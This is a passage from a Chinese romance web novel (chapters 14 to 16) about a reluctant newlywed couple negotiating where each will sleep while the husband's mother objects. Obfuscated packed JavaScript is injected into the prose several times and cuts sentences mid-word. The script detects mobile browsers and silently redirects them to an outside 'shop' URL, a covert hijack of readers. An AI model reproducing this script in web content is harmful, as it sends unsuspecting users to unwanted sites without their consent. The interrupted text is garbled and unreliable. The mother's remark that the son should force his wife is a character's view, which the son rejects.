那双脚如此小巧玲珑,脚背那么白,肌肤那么嫩,白嫩细腻,像两块白玉,还氤氲着柔和的光芒,看得人眼神儿迷离。 白嫩的小脚套在粗犷的大木屐里,楚楚可怜的样儿。大脚趾和其他四个脚趾头分开着,每个脚趾头都圆润可爱。指甲都不长,剪得齐齐整整,指甲盖里干干净净的,还红红润润,十分可爱。 视线从女人脚上艰难移开,落在了她脚边换下来的衣物上。 好巧不巧,放在最上面的是一条粉白色的肚兜…… 那块轻薄的布料在火光里发着光,抢眼夺睛,撩人心弦,他一颗心骤然砰砰地跳起来。好似才反应过来她说过什么话,刀莲生如梦初醒般“嗯”了声,带着浓浓的鼻音,然后豁地一下站起身来就往外走,带翻了他屁股下的矮竹凳,闹出不小的一阵动静。 海棠下意识歪头看过去。 男人的脚步迈得又大又急,出门时差点被门槛绊倒。 那支水烟筒仓促中被他撂在屁股下的凳子上,圆柱体,肯定搁不稳。凳子又翻了,那支水烟筒在地上滚来滚去。海棠的衣物一大堆,就堆在旁边的。水烟筒滚动中把那块粉色肚兜带下来,飘飘悠悠地落在烟筒上,盖住了烟筒嘴儿。 刀莲生这一出去,就迟迟没回屋来。 海棠出门看了下,社畜圈里的油灯灯火在晃,一个高大的身影映在圈外地坝上。 从影子上看,刀莲生拿她用剩的大半桶水正在哗哗地冲洗他的身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之前他和他母亲在灶房里拉家常,后来婆婆上楼睡觉,他也没回屋,也不在灶屋,不知道从哪里钻出来的。所以,说不定刀家另有可以住的地方。 可是,你不回屋睡觉好歹给我打个招呼啊! 海棠讨厌这种啥事都不爱说清楚的男人。 她忙又又又溜下床,趿拉上刀莲生那双木屐就往外冲。 刚冲到堂屋门口,一道高大的身影从石阶上踏步上来,她差点投怀送抱。 退开一步,只见刀莲生裸着上半身,只着一条筒裤,甩着湿漉漉的头发正要跨进堂屋来。 见她一副着急着要出门的样子,他吃了一惊,脱口而出:“你要去哪儿?” 海棠仰着脸,看见他头上的短发淋漓地往脖子里淌着水,那水蜿蜿蜒蜒,漫过他的胸膛、腹肌、肚脐眼儿后还在往下,最后钻入裤腰……她暗暗吞了口口水,也是脱口而出:“我去找你呀,看你怎么还不回屋来睡觉!” “……” 男人看了又看她,折身就钻进新房里去了。 海棠一下子心跳如鼓。 不知道今晚她跟他在床上会是怎样的一夜…… 14. 第 14 章 海棠惆怅地看看晃动的布帘子,努力给自己做心理建设。 进屋就先跟他说好,先培养感情再圆房。 “你不是舍不得骡子吗?要是咱俩夫妻感情没培养起来,你可以再把我送回娘家去把你的骡子要回来。” 嗯,就这么哄他! 那蠢男人对骡子有执念,用骡子诱哄他绝对能成。 如果他同意她的提议,那么好,同床异梦就简单多了,不过就是两个人像绝缘体一样躺在一张床上盖两床被子睡觉而已。 如果万一他脑袋秀逗不同意,那也……嗯,也没啥,反正他的身材很正点,她不亏!只当是履行夫妻义务好了。至于感情,日后可以慢慢培养。 好了好了,夜已经深了,洗完澡是该上床睡觉了嘛,平常心对待。今晚过后,还有明晚,后晚……天天晚上都要一个被窝里睡觉的。今晚迈出了第一步,往后的夜晚才能睡得巴适。 火塘里的木柴还烧着,就这么任它继续烧的话,明天可能要重新生火了。 海棠提起地上的铜壶正要把木柴上的明火浇灭,刀莲生却又出来了,另外找了件无袖的黑色对襟褂子把上半身遮住了。 他一手拿着块黑色的包头布擦拭着湿头发,一手,腋下,夹了床棉被。 四目相对,皆默契地不吭声。 刀莲生率先转开眼,若无其事地走到那张八仙桌边,把棉被搁在一张长条凳子上。那块黑色的包头布又擦了两把头发后,就去搭在了西墙上那根麻绳上,然后他走回来,又在火塘边落座,并捡起了那支躺在地上的水烟筒,拂了拂沾在竹筒筒身上的草木灰。 海棠见他抱着水烟筒,嘬着嘴唇对准水烟筒的筒口,腮帮子一鼓,然后“噗”的一声,就把筒腰出那个烟嘴里的烟灰吹出来了,一些落到他膝盖上,他拿手扑打了两下,然后捻着一撮不知从哪里变出来的黄黄软软的烟丝往烟嘴儿里塞。弄好后,再用火钳从火塘里夹了块烧着的木柴把烟丝点燃,猛吸两个,烟嘴儿里那支拇指长的自制的卷烟就彻底燃着了。 然后的然后,他好像当她不存在似的,就这么抱着水烟筒,幽幽的咕嘟咕嘟吸起来。 那声音,在安静而空旷的堂屋里,像烧开的水在冒泡。 如果不是在陌生的环境里,不是正在纠结今晚这场觉要怎么睡,这开水响的声音听着还挺美妙的,一定是最好听的催眠曲。 但是此刻,海棠一点睡意也没有。 再没有比此时更清醒的时刻了。 今晚不是十五便是十六,要不那天上的月亮咋那么圆那么亮呢?照得那墨蓝色的夜空里看不见一丝云彩,如碧玉盘般毫无瑕疵。 也照得人心如明镜。 海棠看见他手臂下夹着棉被的时候,几乎是立刻就明白了刀莲生的意思,她的心情很复杂。 明明一开始不想同床的是自己,结果人家直接用行动表示了,连借口都不用找,不用哄她的。她其实该当松了一口气的,但是,不知为何,她很别扭、很难受。 或许,是缘于骄傲惯了的人那种奇怪的心理——尽管我不怎么怎么你,但是你不能率先对我这样那样,必须是我先对你这样那样。 从来被男人哄着供着捧着,习惯了,突然刀莲生对她的嫌弃无处不在,海棠心头无名火起。 火塘里的木柴烧得噼啪作响。 幸好有杂音化解她无形的尴尬。 在这噼啪响声中,海棠张开五指,从额头往后抓了抓长发,好像仍在梳理她那把如瀑的头发似的,然后似乎就是随口一问:“这么晚了还抽烟,还不睡觉呐?” 男人双手不离烟筒,好像那才是他媳妇儿,紧紧抱着。垂着的眼睛也痴迷地看着面前的火塘,并不看她,“你自睡你的。” 海棠憋着股气闷,也不拐弯抹角了,直白地问他:“你睡哪儿?” 月光透过门缝,斑驳地照在堂前屋内。 刀莲生没想到海棠会这么坦率地问起他睡觉的问题,便是他自己都羞于启口,毕竟两人新婚当晚未能同房,今晚,仍旧算是同房的头一晚。他呆若木鸡了一刻,侧身指指凳子上的那床被子。 意思是我把被子都拿出来了,自然就在外面睡了。 当对方显示出弱势的一面,另一方的强势就会不自觉地凸显出来。 海棠故作吃惊,“你不进屋睡啊?” 刀莲生轻轻“嗯”了声,抬眉,隔着青白的烟雾看她。她亦看着他,但两人谁也看不清楚各自眼底的情绪。 海棠抓头发的手拿下来,百无聊赖地抠抠另一只手的手板心,最后,抵不住心里的好奇,她抬手指指八仙桌那边,“睡桌上?” 对话从这里忽然就平和起来,和谐起来,好像两个人在讨论一个学术话题。 男人说:“不是。” 海棠说:“那怎么睡?” 男人也不嫌麻烦。他放下水烟筒,起身又走到北墙下那张八仙桌边,夹起棉被,然后把围着桌旁的两条长条凳都拿在手,来到西墙跟儿下,把两张凳子并排放好。 接着把棉被抖开,铺在并排的长条凳上。 这样的“床”自然小了,又短又窄,那条棉被抖开后一大半都垂在半空中。因为“床”的一面是靠墙的,另一面,那被子半截都要拖在地上了。刀莲生重新把被子整理了一下,横着折成两半铺在凳子上。 完了后,他粗粝的大手在“床”上拍了下,意思是这就是他睡觉的地方了。 海棠踱步过来,难以置信地看着那张床,“这样能睡着?” 刀莲生说:“能。” 海棠就看他耍杂技似的,掀开半边被子就这么躺上去了,双臂做枕,一条长腿吊着,一条长腿斜立在脚地上,人勉强放直。 他人高腿长,躺在两条窄短的凳子上,几乎半边身子都是悬空的,没地儿搁,怎么看怎么憋屈。 海棠:“……” 她嗤的一笑,“你就不怕睡梦中滚下来?” 刀莲生坐起来身道:“我的睡相很好,梦里不会乱动。” 海棠:“你都在梦里了,怎么知道自己不会乱动?” 刀莲生:“……” 男人似乎很无语的睇了她一眼。 非要跟他杠吗?男人不要面子的吗? 海棠面色平静地点点头:“佩服。” 她撩一下披散的长发,再无话可说了。 她不出声,男人也不出声,安静地坐在“床”边等着。他也不知道要等什么,等着她再挑刺,或是等着她说点其他的。 他从未跟陌生女人说过这么多话,更从未跟陌生女人说起今晚这种撩人心弦的话题。 她是个特别的女人,不同于寨子里的任何一个女人。她的话题总是像一片羽毛一样挠过他的心,痒痒的,勾起他想回应她,跟她聊起来,聊开来。而他从不知道自己其实是健谈的。 他爱听她说话,她的声音好听,她起的话题勾他。这女人,原来是这样的……嗯,有趣儿…… 他也从未见过女人能把长发披散得这么随性自然,也从不知道原来女人披着长发会让她看起来如此地温驯柔软,想一拥入怀狠狠的……搓磨…… 她撩头发的姿势还特别富有韵味儿,总是微一偏头,长发自然倾斜至一边,这时候她先抬手伸入耳后,将垂落一边的长发往后一甩,再用食指和中指从额头发际线处插入发里,慢慢往头顶拂去,长发柔顺,手过发动,披在背部的发梢轻轻荡悠。 海棠又撩了一把长发,“那行,我睡去了。”转身往新房走。 刀莲生收回视线,垂下有些失望的眼,几不可察地“嗯”一声。 月光如洗,洒在刀家幽静的院落里。 走到布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053675|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帘子处,海棠回头:“哎,你是打算一直睡这里吗?那你娘那里怎么交代?” 刀莲生又已躺了回去,闻言,慢慢坐起身来。 他刚才走神了,没注意听海棠说了什么,只听见她又说话了,是以只是有些微怔地把她看着。 但他抿嘴蹙眉的模样看在海棠眼里,只当他默认,不回答乃是不屑于回答,顿时来气了。 海棠哒哒地大步走回来,一脸气愤:“你是故意的吧?你让你娘误会我不让你挨我身,让我在婆婆面前没法做人了,明天婆婆就又有理由打骂我了,这就是你的计策,你报复我、想要赶走我的计策,是不是?” 刀莲生花了片刻时间消化海棠说的话,随即一脸愕然之色,浓眉深锁着站起身来,看着她无奈地说:“不是你想的那样……” “那又是哪样?” 刀莲生却又不说话了,紧闭着嘴。 海棠便道:“我在你家又不是只待个一天两天,我也不是你家的客人。你这么做,会让我在婆婆面前没法做人。我可不想日后天天被婆婆打骂。” 刀莲生呐呐而言:“我会跟娘解释……” “怎么解释?你解释得通吗?”海棠步步紧逼,语气中带着几分不容拒绝的坚决,“你也不想想,我俩是夫妻,又是新婚。还才新婚呢,夫妻两个就分床睡,婆婆会怎么看待这件事情?你是她的好儿子,她自然向着你,那我不就成了罪大恶极的那一个了?!” 刀莲生倒真的没往他母亲会怎么想的那一面想过,海棠一说,顿时觉得这确实是个很大的问题。 母亲当初为给他娶妻就哭死哭活的闹他。这要是娶了回来他又不睡,母亲不更得闹起来?而他这个新婚妻子看起来不是个贤良淑德的女人,到时候强势的母亲和强势的妻子一对上,那不是家里将不得安宁了?? 刀莲生就有些无措起来,“但是……” 他想说,但是我们确实还不能圆房,可你说得也有道理,所以这问题要怎么解决? 海棠却以为他还要找理由分居。她此刻不想去深究他为什么非要跟自己分居的原因,夜已经这么深了,先把眼前的困局解决了。 “你哪里搭床铺不好,偏偏在堂屋!这地方人来人往的,家里人随时都能看到,我真怀疑你是故意害我!你若是嫌弃我,但好歹给我点面子做做样子啊,把床铺摆到新房里去啊。” 刀莲生一想,也是啊,母亲不可能进他们夫妻房间来查房啊。这样的话,在新房里他和她到底怎么睡觉的,母亲不知道,这个家也能保持清静安宁。 他这里思量的功夫,海棠却是个干脆利落的行动派。见刀莲生一副迟疑不决的样子,又像白天她回婆家那么干脆,她挽起袖子就去拆刀莲生搭起来的那个简易床。 刀莲生忙伸手一拦,“我……” 海棠以为他不乐意,比起被婆婆追打,逼着刀莲生如了自己的意更容易些,于是她一把强势地推开他,“你别再跟我犟……” 海棠与刀莲生的争执声,在这宁静的夜晚中显得格外突兀,打破了夜的沉寂。 木楼梯口突然传来一声呵斥:“吵什么?半夜三更的,还睡不睡觉了!” 两个人抬头望去。 白氏披着衣服站在楼梯上,脸色很难看。 两个人在堂屋里搞半天没睡觉,又进进出出的。楼上睡着的白氏年纪大了,本来就是浅眠。刚才海棠携着怒意说话,哪里还去注意音量?木楼板又不隔音,就把白氏彻底吵醒了。 慑于白氏傍晚时抄那么大一把水竹扫帚追着打她的淫威,海棠看见婆婆就心慌,登时就像是一只受惊的兔子似的,不管不顾,一眨眼就逃回了新房去。 但是,她跑路前冲刀莲生说了句话:“呸!不跟我睡算了,你爱睡哪儿睡哪儿!” “……” 刀莲生心头一颤。 15. 第 15 章 火塘里的木柴,自顾自燃烧着,不时发出一道轻微的爆裂声,与此同时从火光中蹦出来几个火星子。 刀莲生立在原地,有些凌乱,“我自己搬”四个字悄然消散在母亲的呵斥声中和爆响的火花里。 他有点进退维谷了。 这下,这床是挪还是不挪呀? 眼睛却止不住往海棠那屋飘。 那块隔绝了新房内一切的蓝色土布帘子,还在剧烈地荡着。 白氏蹬蹬几步快速下楼来,看清楚了西墙根儿下铺着的简易床铺,大为震惊,“莲生,你这是在做什么?是她不让你近身吗?!”折身就要往海棠那个里间去。 果然给海棠料到了。 眼见他娘立马就要去找海棠算账,刀莲生忙拦住道:“不是的,娘!这是我自己决定的。” 海棠刚才那句话,他娘肯定也听到了的,他只能顺着海棠那话把一切都揽在自己身上。 “去睡了吧,娘,已经很晚了。”其余的他不愿多说。 白氏目色闪动,不信地把儿子看了又看,低斥:“这像什么话呀?娶了媳妇的人,自然该同媳妇睡一张床。你要是今天把婚退了还成,一切都不说了,但她既然愿意回来,自然这夫妻日子就是要过下去的呀。” “娘,我与她……暂时还是算了吧。”刀莲生余光又往那道帘子瞟一眼,眸光发黯。 “算了??”白氏顺着他的视线也看看新房,压低声:“她不是愿意同房么?” 刀莲生哪里还能说同房的意思,只是要他把床铺到新房里去而已。 他走到火塘边,把所有还烧着的木柴都从灰堆里拨出来,提起铜壶将明火浇灭。 在一阵阵的“嗞嗞”声中,他压低声道:“那天晚上把她吓成那样,我去傅家时听说她还大病了一场。我看她好像现今似乎还没好全,不然不会一点都不害怕我。她跟我回来也不是自愿,她爹娘迫她回的。所以至少现在,在她并不是甘心情愿的情况下,我不想勉强她,跟她睡一屋。不然真闹出了什么可怕的后果,把人往死里逼了,傅家那边无法交差,我们也不会心安的。” 白氏听完,面现苦涩。 刀莲生见状,把犹带着火星子的木柴埋进热烫的灰堆里,拍拍手站起身来,凝着母亲轻声安抚道:“娘,好歹我这也算是已经娶妻成家了,我已是个成年男人了。我的事情,您还是放手让我自己做主吧。” 白氏长长一叹。 刀莲生顿了下,又补充说:“她跟我回家只是暂时的,看她能长久待得下去不。若是再跑,这亲是铁定退了,傅家那边再无话可说。总之,我还是想要回那头骡子。” 海棠逃进新房后就躲在布帘子后面偷听偷看。前面刀莲生和他母亲说话时双方都小声,刀莲生又在浇水灭火,弄出不大不小的声响,恰好盖住了说话声,她没听清楚他们说了什么。但看样子好像刀莲生还真的寻了理由说通了婆婆,白氏表面很平静,并未来找她算账。 后头这番话,刀莲生没刻意压低声儿,海棠听见了,一字不漏。 她揪着布帘子,一撇嘴。 嗐!这男人真跟条倔牛一样倔,反正在他眼里,她就是不如那头骡子好。 算了算了,不计较了,也算殊途同归。 什么骡子不骡子的,只要她自己不跑,这里她还是能继续待下去。 再一个,先前她不自己也用那头骡子想要诱使他同意先培养夫妻感情,再培养身体上的感情么?只要他说通了婆婆,那么现在这种状态,正暗合她的心思。 行了,今晚就放心地一个人占用新房的大床吧。 海棠轻手轻脚摸到床边,蹬了木屐,翻身躺上床去,抱着被子满足地闻闻那阳光的味道,闭上眼。 堂屋里。 白氏静默良久,叹口气,道:“你自己也说你已经成年了,是个大男人了。那么,熬光棍你还能熬得住多久呢?” 刀莲生耷下眼皮,看似若无其事,耳根子却是绯红,低着头咕哝说:“娘,熬不熬得住我都二十几岁了,怎生现在就熬不住了?娘,您甭管我。这种事情真的要讲个你情我愿的。” “可是,你先前不是说她爹娘迫她回来的吗?若是她这次在我们家待的时间长些再跑回去,那边也有说法了,只怕不会退彩礼了。” “……不退就不退吧。她还年轻,我总不能让她守一辈子活寡。” “哎,你这孩子,不要乱讲话。守活寡不是你这样说的!你好生生在,她守什么活寡?!” 白氏瞪眼竖眉,好像很忌讳,把儿子好一顿叱骂。 刀莲生也自觉失言,沉默地垂着脑袋听骂。 骂完后白氏把高高大大的儿子横一眼:“你也是太心软,不中用。依着我的意思,关上门把她压到床上过一两夜,万事大吉。你这么大的个儿,她挣得过你?只要身子给了你,她就不会跑了。女人就那样德性,关键是要了她的身子……” “娘!”刀莲生臊得黑脸膛发烫,急急慌慌阻止母亲继续说下去,“这事儿就让我自己做主吧,您别再劝了。” 白氏到底是无可奈何。 她生的儿子像她的性子,晓得他认准了的事,十头牛也拉不回来,倔得要命。 算了,儿子也说得对,婚姻之事不能勉强。媳妇要跑,不可能为了看住她,家里人活儿都不干吧。跑就让她跑好了,要回来彩礼,重新给儿子定一门婚事就是了。 和和美美的婚姻,才能保证小家庭的幸福美满,也才是她咬牙非要给儿子找个女人的初衷,便是要莲生过得幸福。 原本她以为儿子寻不到女人的,总算在汉人那边定下个女人。 山里女人寻不到,就到山外头汉人的地方去寻。汉家女人比他们窝尼家的女人多多了,大不了生个杂种嘛,总比一个孩子都没有,叫莲生孤独终老的好。 有一就有二。 汉家女人那么多,这一个跑了,就再去寻个汉女来。 汉女不值钱,她一定能为她的莲生崽定下个一心一意跟他过日子的好媳妇儿! 白氏想通了,不再纠缠儿子跟儿媳妇分床睡的事情,反倒安排起来,“这样,你去把你媳妇儿叫去楼上跟莲荷莲叶挤一挤,你去新房睡去。” 刀莲生拒绝道:“那床小,睡三个人很挤。娘,您不用管我了,您自去睡您的。您看我这床铺都搭好了,简单省事儿。” 白氏把那张简易床铺看了看,摇头,“睡板凳怎么行?又硬又窄又短,一夜两夜还可将就,时间长了你的肩背遭得住?早上醒来手脚都是麻的!肯定得躺床上好生睡觉才是正经的。” “那明天我想想其他办法。今晚先就这么对付过去。” 白氏伸手在刀莲生搭的那床铺上摁了摁,眉头皱起,显然是不满意床铺厚度的。然后她往铺上一坐,再躺下去,笑说:“要不莲生,你去睡我那床。你人高马大睡不了这铺,我个子小,我睡这铺正合适。” 刀莲生岂会让母亲这样委屈?忙将她扶坐起来。 白氏也知道儿子有孝心,断不会让她睡在板凳上的。 刀莲生见母亲迟迟不上楼去睡觉,知道她是忧心自己睡不好觉。想了想,想到个叫他娘放心的主意,说:“我明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刀莲生搭床的时候是注意到这点了的,但是先前海棠不是要拆床么?她拉了一把凳子,就把简易床铺移了下位置,恰好让凳子脚悬空在一道坑洼处。刀莲生往上一躺,上半身猛地往一头倾斜,是以导致他差点滚下地去。 人醒着肯定会注意点,但是睡着了,翻来覆去。他牛高马大,这小床很可能会给他在睡梦中翻身时弄得移位。那时候他掉地上,正好叫某人言中,就尴尬了。 刀莲生叹口气,寻思着农闲的时候一定要把堂屋的地面好好平整平整。但一想到把旧的地面铲掉、填铺新土、再夯实,是个大工程不说,算是动土了,他娘必定要他请人算时辰、算第一铲子下去的方位,请人请客,必然要破费,家里哪有那余钱?头疼不已。 除非是一点点的填平,晚上偷偷地弄,不让母亲发现了,就能少花很多钱。只是要费许多工夫了。 现今想不到那么多,目下把床铺下面这几个土坑先填平了,不要出糗才好。 刀莲生把八仙桌上那盏油灯点着,然后出了门,过了会儿回来时手里端着个装满了湿土的撮箕。 直接填土肯定管不了多长时间,新土旧土湿度硬度不一样,难以夯实在一起。但聊胜于无,管一阵子是一阵子。 他移开棉被和凳子,人蹲在地上用湿土一点点填那些坑。 八仙桌上的油灯将他的影子扩大拉长,占据了大半个屋。他弓起的脊背也在光里好像蒙了层雾,海棠看着他,觉得很不真实。 夜深了,月光更加柔和。 费了半天劲儿,刀莲生把地面填平了,洗了手回来,床铺重新铺上,刚在床铺上枕着手臂躺下,听见哒哒的木屐声。 都这么晚了,她咋还不睡觉呢? 他暗叹口气的功夫,脚步声已经响在了身旁。 知道床边的女人肯定在看自己,他闭着眼睛,不与她对视。 他可不想再跟她在大半夜里继续争执睡哪里的问题了,把母亲引下来,大家今晚都不用睡觉了。 光着的膀子忽然被一只柔滑细嫩的手推攘了下,那人小声道:“诶,你家厕所在哪儿?” 16. 第 16 章 厕所? 大约是汉人的说法,必定是指茅厕的意思。 刀莲生张开眼来,忙忙地翻身而起,“我带你去。” “啊,在外面的啊?”海棠失望地一声哀嚎。 不然呢? 他撑着垫在身下的被子坐在床沿上,于黑暗里双眸发亮地定定看着她。 她似乎不急嘛,那么,问这话就是有其他目的了。 这女人,问我茅厕在哪儿,显然明白不可能在房间里。明知却又要在得知了答案后嚎出来,存的什么心思? 刀莲生只觉得海棠真的有好本事,打破了他前二十几年对女人固有的看法。你看她,只一天时间,她就让他对她产生了深刻的刻板印象:她每每主动找他说话,必然是有目的的。并且她还喜欢拐弯抹角一番,才道出她的目的。 那就慢慢等着。 真奇怪,明明屋里没光了,可是他仍旧把她脸上的表情看得一清二楚。 也许,两人挨到太近了点……所以他不敢动,只能在床上坐着。 她也真是娇小,他坐着,她站着,竟然两人几乎脸对着脸,目光齐平…… 她姣好的脸蛋儿此刻皱成了一团,“外头又黑又可怕,你们这里女人晚上若是起夜上厕所都要去外面吗?胆子真大!哎,我现在不想去。但我可能后半夜会起夜。下午回来那会儿我说了不要客气的嘛,结果你烧那么大一壶水,我坐那儿没事,就喝喝喝,哪里知道就喝多了,所以可能我后半夜很可能要上厕所。但我害怕一个人去,可我也不能去茅厕的时候就把你也叫醒一起去吧?你给我想个法子。” 刀莲生:“……” 看,他就知道! 真是麻烦! 早知道她是个这么麻烦的人,他今天就不该去她娘家,这就被麻烦缠上了。 成亲前刀胜给他传授男女那档子事的经验时,反复念叨说女人麻烦。这话还真是对。可他当时还不以为然。他说啥了,哦,他当时好像说:“能有侍弄骡子麻烦吗?” 侍弄骡子,可麻烦了。一要定时定量喂水喂食,草料粗粮要搭配合理,尤其豆饼那种好口粮,多了不行,少了也不行。二要定期清洁身体和畜圈,防止它生病,畜生有时候比人还娇气。三要注意冬天要保暖,夏天要防止它中暑。另外,累了它不行,懒了它也不行…… 现在他承认,女人,比侍弄骡子麻烦多了! 刀莲生闷不吭声的下地穿鞋,拉开堂屋门出去了。 海棠就着打开的堂屋门洒进来的月光走到火塘边坐下,静等着。 火塘的灰堆里埋着没熄灭的半燃着的木材,猩红的火星子一闪一灭。 刀莲生这一出去就有点久,海棠打了两个哈欠,他也没回。也不知道他好久回,干脆就回屋去,爬上床睡着等。反正也不尿急。 昏昏欲睡中,听见外头堂屋里脚步声响。 海棠撑起身体来往门口看去,就见昏暗的光线中,布帘子晃动,一道高大的身影把从敞开的堂屋门口漏进来的那点月光全部挡住了。 海棠坐起身来。 刀莲生正好撩了帘子进屋来,离着床铺几步远处停住脚。他右手手里好像抓着个东西,往前递了递,说:“你用这个尿。” 海棠探身凑近了看,“什么东西?” 但又哪里看得清?屋里乌漆墨黑的。 刀莲生见她脖子伸得都快要有鹅颈子那么长了,他把那玩意儿搁在地上,出去走到八仙桌那边,摸到火镰把油灯点燃,端进来。 然后捡起地上那玩意儿,给她放在床脚,也不看她,昏黄的灯光里,他冷着一张俊脸垂着眼道:“就给你搁这里好吧。” 海棠趴在床沿上探头看去。 这下看清楚是一个口边缺了好大一块的灰色土陶罐。 只她左看右看,觉着眼熟,遂掀开被子又麻溜地溜下床——她现在对溜下新房这张木床可麻溜了。一晚上都来回起码七八趟了。 海棠趿拉上木屐走过去蹲在地上仔细看。 陶罐胖胖的身子,下大上小,像个大南瓜,但是在靠近罐口五公分处那里还有一圈儿朝上的沟槽。 嘿,这不是农村常见的那种泡酸腌菜的坛子吗? 海棠:“……” 陶罐滚圆的肚子以下都还黏着新鲜的泥土。不知道刀莲生从哪里挖出来的,难怪这么久才回来。 海棠站起身来,回身看着刀莲生,指指那泡菜坛子,有些不可置信,“你叫我尿这里头?” “嗯。”刀莲生端着油灯,也不看她,还是一副冷眉冷眼样儿,“家里没多的尿壶了。我也找不到其他的,只找到这个。正好空着,你先用着。” “我先用着?你意思是之后把它刷新干净了后再继续泡酸菜吗??” “……” 刀莲生喉结上下滚了滚,飞速瞥她一眼:“以后就不用它泡酸菜了。” “哦,那还好。我还以为你们这里不讲究哩。”海棠放下心来,四下看了看,“不过你还是给我找块硬的东西来,镰刀、石头、瓦片都可以。” 刀莲生看向她:“你要做什么?” “给这个坛子做个记号啊。万一哪天我倒了尿洗干净了把它在外头晾晒着,你家人不知道我用它装过尿,又拿去泡酸菜咋办?” 刀莲生想象了一下那画面,身子几不可察地抖了下,转身要出去,海棠又喊住他:“喂,它上面那个坛盖呢?你给我也一并拿来。” “你要它有什么用?” “盖着不臭啊。这要是坛沿也没缺口的话,掺点水在里面再把盖子一扣,还能密封起来。就算里面在发酵,屋里也闻不到一点味儿,美滋滋。” “……” 他就不该多嘴一问! 刀莲生快步出去了。 片刻后他拿了火塘边那个铁钩进来。 海棠还追问:“泡菜坛子的盖子呢?” “坏了。” “哦。” 就因为盖子坏了,家里又没多的合适的盖子,暂时闲置在那没做泡菜。后来用它来装过鸡蛋和其他干货。后来几只鸡卖了吃了,就彻底没用了。坛子扔在后阳沟,时间长了,一大半被后坡上垮下来的泥土盖住,害他一顿好找。 海棠把铁钩接过去,蹲下身,把坛子抱在膝盖上,用铁钩钩尖的那端用力在土坛子的肚子上使劲儿划拉。 可怜泡菜坛子太大太沉,像有个三十多斤的西瓜那样重沉,她单手抱着吃力,蹲久了双腿发麻,身子要倒不倒,另一只手就不大使得上力气,来来回回划了好几下,额头都渗出汗了,坛肚子上只显出浅浅一道划痕,这太不明显了。 刀莲生原本端着油灯给她照明,看得着急,终于忍不住把手伸过去,“我来吧。” 海棠扭头瞪他一眼,“你这个木头,我早等你说这话了。” “……” 刀莲生抿着嘴沉默地接过坛子和铁钩,油灯递给她。 这盏灯,在两人无声的眼神交流中顺利交接。 海棠托着油灯在他旁边替他照明,她是不甘寂寞的,弯着腰身,手指在坛肚子上比划了几下,“画这么大一个圆,圆里面再画一个这样的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053677|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叉叉。” 刀莲生听话地照做。 只是,她垂落的长发,那发梢落在他的脖子里,像好几片羽毛拂过,扫来扫去,痒得他有些心猿意马,只好靠说话来转移注意力,“怎么要做这么复杂的记号?是不是有什么特别的意思?” 他晓得汉人喜欢在大门上贴两张图画,左右两扇门上各贴一张,叫门神,象征驱邪避鬼,保平安的。就像成亲的时候,床上也要撒花生枣子桂圆之类干果。便以为汉人在尿壶上也会有类似的做法。 汉人的讲究可真多,但是也有趣儿。 但听海棠说:“只是我脑海里头一个浮出来的图画罢了,我没觉得它复杂诶。不过,”她开始乐了,“嘿嘿,它的确是有点特别的意思,嘿嘿,但是我不得告诉你。” 刀莲生:“……” 记号很快划好了,刀莲生站起身来退到一旁,海棠端着油灯上前半步,喜滋滋地看着那图画发笑。 刀莲生看看那个圈圈里头又叉叉的记号,用余光觑一眼犹自还在乐呵呵的海棠,心里有些怪异。 他怎么总觉得她的笑,不怀好意…… 海棠看那记号的划痕很深,画得又大,特别显眼,很满意,伸手就在刀莲生腰上一捅:“你真有劲儿!” 刀莲生:“……” 他想出去了,海棠又喊住他,“喂,我看这屋空得很,你完全可以把你那个床铺摆进新房里来啊。白天还不用拆,晚上也不用再搭,免了又拆又搭的工夫,多省事儿。” 她捉着灯碗还走到墙洞下,脚往地上踩一踩,对他说:“呐,就摆这儿,你看,是不是很宽敞嘛。” 刀莲生:“……” 刀莲生想起了最初他想到的那番话——她每每主动找他说话,必然是有目的的。并且她还喜欢拐弯抹角一番,才道出她的目的。 所以,难道,她折腾这么大会儿功夫,其实最后的目的是在这里? 他的心,又颤了下。 海棠催他:“喂,你觉得我这个提议怎么样嘛?” 刀莲生动了动唇,“行还是行的……” “那就快去把床铺搬进来。” “……哦。” 他低着头快步出去了。 床铺很好搬,一床铺盖卷儿,两张高板凳,被子夹在腋下,两只手一提板凳,一次性就全部搬进来了。 海棠已为他把灯碗搁在了那个小小的窗洞上,正好在要搭床铺的头上。 就着头顶上方如豆的灯火,他在窗洞下搭他的简易床铺,还是两张板凳并排靠墙放着,一半被子当垫絮,一半当铺盖,人侧身躺上去就能睡。 海棠站在床边看他把床铺搭好了,大家都该睡觉了,于是跳上床沿,提脚就要钻床上去,眼睛无意中瞟到了床脚那个泡菜坛子,眉头皱起来,“喂,你睡这屋,要是半夜我起来尿尿,你岂不是把我脱裤子蹲下去撒尿的整个过程都看见了?” 刀莲生:“……” 